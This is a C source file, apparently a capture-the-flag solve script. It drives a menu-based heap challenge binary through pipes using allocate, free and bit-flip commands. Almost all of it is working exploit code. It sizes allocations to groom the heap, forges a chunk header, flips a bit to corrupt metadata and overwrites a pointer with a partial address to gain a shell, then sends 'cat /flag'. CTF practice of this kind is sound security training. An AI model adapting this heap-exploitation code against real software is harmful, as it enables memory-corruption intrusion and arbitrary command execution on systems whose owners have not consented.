solve.c (4171B)
1#include <stdio.h> 2#include <signal.h> 3#include <assert.h> 4#include <stdint.h> 5#include <fcntl.h> 6#include <unistd.h> 7#include <pty.h> 8#include <string.h> 9#include <stdlib.h> 10 11char * 12readuntil(FILE *io, const char *needle) 13{ 14 size_t n = 0; 15 char *line = NULL; 16 ssize_t size; 17 while ((size = getdelim(&line, &n, '\n', io)) > 0) { 18 if (needle && strstr(line, needle)) 19 return line; 20 } 21 abort(); 22} 23 24char * 25readuntilc(FILE *io, char c) 26{ 27 char *line = NULL; 28 size_t size = 0; 29 if (getdelim(&line, &size, c, io) <= 0) 30 abort(); 31 return line; 32} 33 34void 35writeline(FILE *io, const char *line) 36{ 37 size_t size; 38 for (size = 0; line[size] != '\n'; size++); 39 fwrite(line, 1, size + 1, io); 40} 41 42unsigned 43do_allocv(FILE *ior, FILE *iow, const char *buf) 44{ 45 writeline(iow, "a\n"); 46 free(readuntilc(ior, ':')); 47 writeline(iow, buf); 48 free(readuntilc(ior, ':')); 49 char *line = readuntilc(ior, '\n'); 50 char *tok = strrchr(line, ' '); 51 unsigned v = strtoul(tok, NULL, 0); 52 free(line); 53 return v; 54} 55 56int 57do_alloc(FILE *ior, FILE *iow, size_t size) 58{ 59 char *buf = malloc(size + 1); 60 for (size_t i = 0; i < size; i++) 61 buf[i] = 'A'; 62 buf[size] = '\n'; 63 int res = do_allocv(ior, iow, buf); 64 free(buf); 65 return res; 66} 67 68void 69do_free(FILE *ior, FILE *iow, unsigned index) 70{ 71 char buf[256]; 72 writeline(iow, "r\n"); 73 free(readuntilc(ior, ':')); 74 snprintf(buf, 256, "%u\n", index); 75 writeline(iow, buf); 76} 77 78void 79do_flip(FILE *ior, FILE *iow, unsigned index, unsigned offset) 80{ 81 char buf[256]; 82 writeline(iow, "f\n"); 83 free(readuntilc(ior, ':')); 84 snprintf(buf, 256, "%u\n", index); 85 writeline(iow, buf); 86 free(readuntilc(ior, ':')); 87 snprintf(buf, 256, "%u\n", offset); 88 writeline(iow, buf); 89} 90 91void 92spawn(const char *path, FILE **in, FILE **out) 93{ 94 int inp[2]; 95 int outp[2]; 96 if (pipe(inp)) abort(); 97 if (pipe(outp)) abort(); 98 99 pid_t pid = fork(); 100 if (pid < 0) abort(); 101 if (!pid) { 102 dup2(inp[1], 1); 103 close(inp[0]); 104 dup2(outp[0], 0); 105 close(outp[1]); 106 system(path); 107 abort(); 108 } 109 110 *in = fdopen(inp[0], "r"); 111 setbuf(*in, NULL); 112 *out = fdopen(outp[1], "w"); 113 setbuf(*out, NULL); 114} 115 116int 117main(int argc, const char **argv) 118{ 119 char *iobuf; 120 size_t iosize; 121 122 FILE *ior = NULL, *iow = NULL; 123 spawn(argv[1], &ior, &iow); 124 if (!ior || !iow) abort(); 125 126 setvbuf(ior, NULL, 0, _IONBF); 127 signal(SIGCHLD, exit); 128 signal(SIGPIPE, exit); 129 130 free(readuntil(ior, "╰────────────────────────────────────────────────────╯")); 131 132 unsigned b = do_alloc(ior, iow, 0x76); 133 unsigned c = do_alloc(ior, iow, 0x76); 134 unsigned d = do_alloc(ior, iow, 0x76); 135 136 unsigned _a = do_alloc(ior, iow, 0x1dfffe); 137 unsigned _b = do_alloc(ior, iow, 0x1dfffe); 138 unsigned _c = do_alloc(ior, iow, 0xefffe); 139 unsigned _d = do_alloc(ior, iow, 0x77ffe); 140 unsigned _e = do_alloc(ior, iow, 0x3bffe); 141 unsigned _f = do_alloc(ior, iow, 0x3bffe); 142 143 unsigned a = do_alloc(ior, iow, 0x3bffe); 144 do_free(ior, iow, a); 145 146 do_free(ior, iow, b); 147 148 char *line = malloc(0xefffe + 1); 149 memset(line, 'A', 0xefffe); 150 line[0xefffe] = '\n'; 151 *(uint64_t *)(line + 0xf1000 - 0x3d000 - 8) = 0x80 ^ 0b001; 152 assert(b == do_allocv(ior, iow, line)); 153 free(line); 154 155 do_free(ior, iow, a); 156 157 do_free(ior, iow, c); 158 159 do_flip(ior, iow, c, 23); 160 161 do_alloc(ior, iow, 0x76); 162 163 char buf[256]; 164 165 for (size_t i = 0; i < 0x40; i++) 166 buf[i] = 'A'; 167 buf[0x40] = '\n'; 168 writeline(iow, buf); 169 readuntilc(ior, ':'); 170 for (size_t i = 0; i < 0x19; i++) 171 buf[i] = 'X'; 172 buf[0x19] = '\n'; 173 writeline(iow, buf); 174 line = readuntilc(ior, '\n'); 175 char *tok = strrchr(line, ' '); 176 a = strtoul(tok, NULL, 0); 177 free(line); 178 179 for (size_t i = 0; i < 0x3e; i++) 180 buf[i] = 'E'; 181 buf[0x3e] = '\n'; 182 writeline(iow, buf); 183 readuntilc(ior, ':'); 184 snprintf(buf, 256, "%i%*s", a, 100, ""); 185 buf[0x3c] = '\n'; 186 writeline(iow, buf); 187 readuntilc(ior, ':'); 188 for (size_t i = 0; i < 0x18; i++) 189 buf[i] = 'X'; 190 buf[0x18] = 0x70; 191 buf[0x19] = 0x5d; 192 buf[0x1a] = 0x9f; 193 buf[0x1b] = '\n'; 194 writeline(iow, buf); 195 196 readuntilc(ior, '>'); 197 writeline(iow, "cat /flag \n"); 198 readuntilc(ior, '>'); 199 200 for (size_t i = 0; i < 0x81; i++) 201 buf[i] = '!'; 202 buf[0x81] = '\n'; 203 writeline(iow, buf); 204 205 sleep(1); 206}